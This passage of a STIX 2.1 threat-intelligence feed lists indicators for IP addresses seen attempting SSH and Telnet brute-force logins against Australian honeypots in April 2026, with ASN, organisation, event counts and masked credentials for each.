      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: ID. ASN(s): 17995. Organisation(s): PT iForte Global Internet.",
      "id": "indicator--660a97fa-b5c9-446e-ad65-29c3c17b4599",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T20:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.183.13.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T20:15:24.000Z",
      "valid_until": "2026-05-18T20:15:02.000Z"
    },
    {
      "created": "2026-04-16T20:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation. Usernames observed (masked): a***n, r**t. Passwords observed (masked): k*******************S.",
      "id": "indicator--ff79c320-f085-4fb8-8643-345dac18d312",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T20:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '129.222.172.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T20:15:24.000Z",
      "valid_until": "2026-05-18T20:15:02.000Z"
    },
    {
      "created": "2026-04-16T20:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A.. Usernames observed (masked): r**t, n*****r, 3**********4, ***, g*****l. Passwords observed (masked): ***, 1*********#, 3***********4, 3**********4, D*****!.",
      "id": "indicator--df8cf7cc-c288-446b-984a-d64869fa70da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T20:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.181.27.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T20:15:24.000Z",
      "valid_until": "2026-05-18T20:15:02.000Z"
    },
    {
      "created": "2026-04-16T20:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--06e776a5-8ec3-4083-b5c2-bca50f49d242",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T20:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.168.201.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T20:15:24.000Z",
      "valid_until": "2026-05-18T20:15:02.000Z"
    },
    {
      "created": "2026-04-16T20:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: OM. ASN(s): 28885. Organisation(s): Oman Telecommunications Company (S.A.O.G).",
      "id": "indicator--b178d9e0-2ea6-4740-b17a-59aa4445648f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T20:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '212.72.14.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T20:15:24.000Z",
      "valid_until": "2026-05-18T20:15:02.000Z"
    },
    {
      "created": "2026-04-16T20:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 17421. Organisation(s): Mobile Business Group. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--ebd7480d-0813-4545-ad36-dcb2eba0eff9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T20:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.120.34.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T20:15:24.000Z",
      "valid_until": "2026-05-18T20:15:02.000Z"
    },
    {
      "created": "2026-04-16T21:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************************************************). Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--a9c9a735-74d9-4cf3-b57e-e3cece20c8c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.248.143.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T21:15:04.000Z",
      "valid_until": "2026-05-18T21:15:02.000Z"
    },
    {
      "created": "2026-04-16T21:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d82a669c-3a5b-4eb6-9044-093cee11851a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.48.22.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T21:15:04.000Z",
      "valid_until": "2026-05-18T21:15:02.000Z"
    },
    {
      "created": "2026-04-16T21:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--3582fab6-d162-4918-9a2a-50e48e0d543d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T21:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.243.8.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T21:15:04.000Z",
      "valid_until": "2026-05-18T21:15:02.000Z"
    },
    {
      "created": "2026-04-16T22:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): 3**********4, c******r, r**t, s****h. Passwords observed (masked): 1****6, 3**********4, c******r, z********3.",
      "id": "indicator--1c844f12-d173-4d8f-ab81-531b529a98d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T22:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.190.172.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T22:15:12.000Z",
      "valid_until": "2026-05-18T22:15:01.000Z"
    },
    {
      "created": "2026-04-16T22:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 237. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc.. Usernames observed (masked): r**t, 3**********4, s****h, u**r, d****e. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, A******5.",
      "id": "indicator--3d00a7bd-1f3f-42f4-84fa-5ac70dfb5ac6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T22:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.28.109.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T22:15:12.000Z",
      "valid_until": "2026-05-18T22:15:01.000Z"
    },
    {
      "created": "2026-04-16T22:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7677b7b1-4a75-4447-a10f-d845ffb39820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T22:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.42.237.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T22:15:12.000Z",
      "valid_until": "2026-05-18T22:15:01.000Z"
    },
    {
      "created": "2026-04-16T22:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 243. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): r**t, u**r, 3**********4, c******r, **. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, A******5.",
      "id": "indicator--ab15b542-a71c-4033-9cae-c634b4fb293b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T22:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.76.214.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T22:15:12.000Z",
      "valid_until": "2026-05-18T22:15:01.000Z"
    },
    {
      "created": "2026-04-16T23:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 212552. Organisation(s): BitCommand LLC. Usernames observed (masked): r**t, t**t, 3**********4, ***. Passwords observed (masked): 1******d, 1***5, 2****8, 3***********4, 3**********4.",
      "id": "indicator--ea8a4ac1-ed2e-486e-a2ba-1422d4a62b94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '156.253.5.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T23:15:23.000Z",
      "valid_until": "2026-05-18T23:15:08.000Z"
    },
    {
      "created": "2026-04-16T23:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--52f3c77b-89d4-45ae-9f1e-a36d86ed38f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.203.251.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T23:15:23.000Z",
      "valid_until": "2026-05-18T23:15:08.000Z"
    },
    {
      "created": "2026-04-16T23:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, 3**********4, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, Q**********#, U******3, p******d.",
      "id": "indicator--1389a35c-a4b9-45f3-a410-88a18ab8e100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.216.119.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T23:15:23.000Z",
      "valid_until": "2026-05-18T23:15:08.000Z"
    },
    {
      "created": "2026-04-16T23:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--04575384-76e9-4364-86f7-4a88cce6aec0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T23:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T23:15:23.000Z",
      "valid_until": "2026-05-18T23:15:08.000Z"
    },
    {
      "created": "2026-04-17T00:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 135. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4, ***, p****r, s*****t. Passwords observed (masked): ***, 3***********4, 3**********4, A******6, D**!.",
      "id": "indicator--a2ba8a32-06ba-42bb-8d4a-0f7fa3033ad9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.13.206.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T00:15:04.000Z",
      "valid_until": "2026-05-19T00:15:01.000Z"
    },
    {
      "created": "2026-04-17T00:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--5e1959ed-9a78-4164-83ae-61d88929e838",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.38.102.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T00:15:04.000Z",
      "valid_until": "2026-05-19T00:15:01.000Z"
    },
    {
      "created": "2026-04-17T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--d1fabf49-da21-46a7-a531-f9ff227f7fc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '100.53.78.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T01:15:07.000Z",
      "valid_until": "2026-05-19T01:15:01.000Z"
    },
    {
      "created": "2026-04-17T01:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 152978. Organisation(s): PHB Digital Technology Solutions Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--f689f0ef-b270-4eef-86f8-ddf9ca2bc517",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.30.158.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T01:15:07.000Z",
      "valid_until": "2026-05-19T01:15:01.000Z"
    },
    {
      "created": "2026-04-17T01:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--98ce27c3-5c8a-4be1-9fa0-4f8285cd5b72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.72.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T01:15:07.000Z",
      "valid_until": "2026-05-19T01:15:01.000Z"
    },
    {
      "created": "2026-04-17T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 90. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, ***, n****a, o******r. Passwords observed (masked): 1***5, 1****6, *, a***n, a*****1.",
      "id": "indicator--a6a9c8c6-46f0-4b18-93ee-52e497a4c545",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.4.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T01:15:07.000Z",
      "valid_until": "2026-05-19T01:15:01.000Z"
    },
    {
      "created": "2026-04-17T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 110. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, u**r, c****g, f*****r. Passwords observed (masked): 1**4, a***n, 0**************D, 1***5, O************Z.",
      "id": "indicator--2ae3f510-5697-47ea-a1ad-9ffc1928b561",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.41.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T01:15:07.000Z",
      "valid_until": "2026-05-19T01:15:01.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 189. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, u****u, 3**********4, a***n, d****y. Passwords observed (masked): 3***********4, 3**********4, 1******q, Q***********!, R**********!.",
      "id": "indicator--e9fa1fce-fb17-49df-96b8-174eb563d8cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.14.190.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--da4c46c1-bb12-47e5-a98a-a2b6abde7f25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.224.135.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, o**o, 3**********4, a***n, **. Passwords observed (masked): *, ***, 1**********c, 3***********4, 3**********4.",
      "id": "indicator--5b4047f5-1e20-4a60-983e-3eeeb74e5b83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.199.82.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): r**t, 3**********4, ***, o****e, t***0. Passwords observed (masked): ***, 3***********4, 3**********4, A******Z, A*******#.",
      "id": "indicator--4e2c9aa8-0fb7-47a1-8b95-f98bb38bbb21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.101.200.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A.. Usernames observed (masked): r**t, 3**********4, d****y, f*****r, s*****t. Passwords observed (masked): 1********d, 1******8, 3***********4, 3**********4, R**********!.",
      "id": "indicator--affec0bc-257b-41e3-a983-8964afbbde71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.221.50.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 158. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28126. Organisation(s): BRISANET SERVICOS DE TELECOMUNICACOES S.A. Usernames observed (masked): r**t, 3**********4, f****e, o**o, s****r. Passwords observed (masked): 1****6, 1******2, 1**********c, 3***********4, 3**********4.",
      "id": "indicator--0a179ea2-308f-42f9-b273-66faa9a11d61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.42.14.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a4fbc385-88fd-4d2a-8890-b4ff1e0c0bde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.61.247.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--1e2b69ff-6dea-414e-b458-a2ce0349d0ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--30e45f43-1b61-4caf-8280-e76c688818f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:15:10.000Z",
      "valid_until": "2026-05-19T03:15:08.000Z"
    },
    {
      "created": "2026-04-17T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A.. Usernames observed (masked): A*******************p, G************1, U***********************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--5e5ddec3-c66d-4607-acfb-367e1378c9af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
